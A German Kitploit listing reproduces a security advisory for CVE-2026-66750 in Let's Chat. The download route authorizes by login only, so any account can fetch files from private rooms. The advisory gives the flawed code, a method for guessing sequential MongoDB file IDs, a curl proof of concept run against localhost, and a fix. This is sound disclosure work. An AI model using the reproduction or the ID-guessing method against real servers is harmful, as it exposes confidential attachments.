Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat- — Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat) | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-
Authentication & AuthorizationVulnerability AnalysisWeb SecurityMisconfigurationLearning & Education
GitHubtheopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-

CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat)

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 22 TagenNoch nicht geprüft

Sicherheitshinweis: Unzureichende Zugriffskontrollen erlauben unbefugte Datei-Downloads (Let's Chat)

Zugewiesene CVE-ID: CVE-2026-66750

Zusammenfassung

GET /files/:id/:name prüft, dass der Aufrufer angemeldet ist, und stellt dann die Datei bereit. Es wird jedoch nie geprüft, ob der Aufrufer den Raum sehen darf, zu dem die Datei gehört.

Jedes Konto kann daher Anhänge aus privaten und passwortgeschützten Räumen lesen, in denen es kein Mitglied ist. Benutzer, deren Zugriff auf einen Raum widerrufen wurde, behalten funktionierende Download-Links für jede Datei, die hochgeladen wurde, während sie Zugriff hatten.

Der Dateilistungs-Endpunkt im selben Controller prüft die Mitgliedschaft — genau das fehlt dem Download-Endpunkt.

Betroffene Versionen

Repository-URL: https://github.com/sdelements/lets-chat

Verwundbar von 0.3.0 (Commit 55e8833, 24. Jan. 2015, „Files backend") bis einschließlich 0.4.8, der letzten Veröffentlichung. Es existiert keine behobene Version.

Private und passwortgeschützte Räume kamen mit 0.4.0, daher besteht die Vertraulichkeitsgrenze, die hier überschritten wird, ab 0.4.0.

Erfordert files.enable: true, was in defaults.yml deaktiviert, in vielen Bereitstellungen jedoch aktiviert ist, da Dateifreigabe ein dokumentiertes Feature ist.

Bestätigt auf 0.4.8 bei Commit 617207f und auf docker.io/sdelements/lets-chat:latest (0.4.7).

Klassifizierung

CWE-639: Authorization Bypass Through User-Controlled Key. Außerdem CWE-862, Missing Authorization.

CVSS-4.0-Basisscore 5.3 (Mittel) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Bedrohungsmodell

Der Angreifer benötigt ein gewöhnliches Benutzerkonto, Netzwerkzugriff auf den HTTP-Port und die ObjectId einer Datei. Die Selbstregistrierung ist standardmäßig aktiviert.

Die ID ist in der Praxis kein Geheimnis. Jeder, der jemals Mitglied des Raums war, besitzt sie bereits, denn sowohl files:list als auch die beim Upload gepostete Nachricht upload://files/<id>/<name> geben sie aus. Das Entfernen des Zugriffs macht sie nicht ungültig, und die URL besitzt weder Ablaufdatum noch Signatur.

Ein Angreifer ohne Vorgeschichte im Zielraum muss die ID erraten. Es handelt sich um eine MongoDB-ObjectId, keine UUID, und nur ein sehr kleiner Teil davon ist unvorhersehbar:

root@kitploit:~
6a65092c fa7876 0001 34649e
    |       |     |     |
    |       |     |     +--- 3 byte counter, increments by one per document
    |       |     +--------- 2 byte process id
    |       +--------------- 3 byte machine id, fixed for the life of the process
    +----------------------- 4 byte Unix timestamp, one second resolution

Alles außer dem Zähler bleibt für die Lebensdauer eines Serverprozesses konstant, und der Zähler ist eine einzige Sequenz, die von allen Collections gemeinsam genutzt wird. Ein Angreifer, der selbst eine Datei hochlädt, erfährt daher die Maschinen-ID, die Prozess-ID und die aktuelle Zählerposition — und jede Datei, die von jemand anderem hochgeladen wurde, liegt nur eine kurze Distanz entfernt in dieser Sequenz. Acht aufeinanderfolgende Uploads auf sdelements/lets-chat:latest:

root@kitploit:~
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5

Technisches Detail

Die Download-Route wendet requireLogin an und sonst nichts. app/controllers/files.js:59-92:

root@kitploit:~
app.route('/files/:id/:name')
    .all(middlewares.requireLogin)
    .get(function(req, res) {
        models.file.findById(req.params.id, function(err, file) {
            if (err) {
                // Error
                return res.send(400);
            }

            if (!file) {
                return res.send(404);
            }

            var isImage = [
              'image/jpeg',
              'image/png',
              'image/gif'
            ].indexOf(file.type) > -1;

            var url = core.files.getUrl(file);

            if (settings.provider === 'local') {
                res.sendFile(url, {
                    headers: {
                        'Content-Type': file.type,
                        'Content-Disposition': isImage ? 'inline' : 'attachment'
                    }
                });
            } else {
                res.redirect(url);
            }

        });
    });

file.room wird geladen und danach nie ausgewertet.

Der Listungspfad im selben Feature prüft hingegen die Mitgliedschaft. app/core/files.js:156-175:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    ...
    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {
        ...
        if (!canJoin) {
            return cb(null, []);
        }

Die Anwendung verfügt also bereits über die benötigte Prüfung (Room.canJoin, definiert in app/models/room.js:130); die Download-Route ruft sie lediglich nicht auf.

Reproduktion

Erfordert files.enable: true und rooms.private: true (LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).

root@kitploit:~
BASE=http://localhost:5000

for U in owner insider; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
  -d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":"insider"}'

# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>

# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":""}'

# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"

# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"

Dasselbe Ergebnis gilt für ein Konto, das nie Mitglied des Raums war, sofern es die Datei-ID kennt.

Auswirkungen

Anhänge in privaten und passwortgeschützten Räumen sind für jedes Konto auf dem Server lesbar, das die Datei-ID besitzt oder ableiten kann. Das Entfernen einer Person aus einem privaten Raum oder das Ändern eines Raum-Passworts schneidet ihren Zugriff auf bereits hochgeladene Dateien nicht ab — und das Archivieren des Raums ebenfalls nicht.

Vorgeschlagener Fix

Laden Sie den Raum und verwenden Sie die Prüfung erneut, die files:list bereits durchführt. In app/controllers/files.js:62, nach dem if (!file)-Guard:

root@kitploit:~
models.room.findById(file.room, function(err, room) {
    if (err || !room) {
        return res.sendStatus(404);
    }

    room.canJoin({ userId: req.user._id, password: req.param('password') },
                 function(err, canJoin) {
        if (err || !canJoin) {
            return res.sendStatus(404);
        }

        // existing sendFile / redirect logic
    });
});

Die Rückgabe von 404 statt 403 für eine unbefugte ID vermeidet, zu bestätigen, dass die Datei existiert.

Tool herunterladen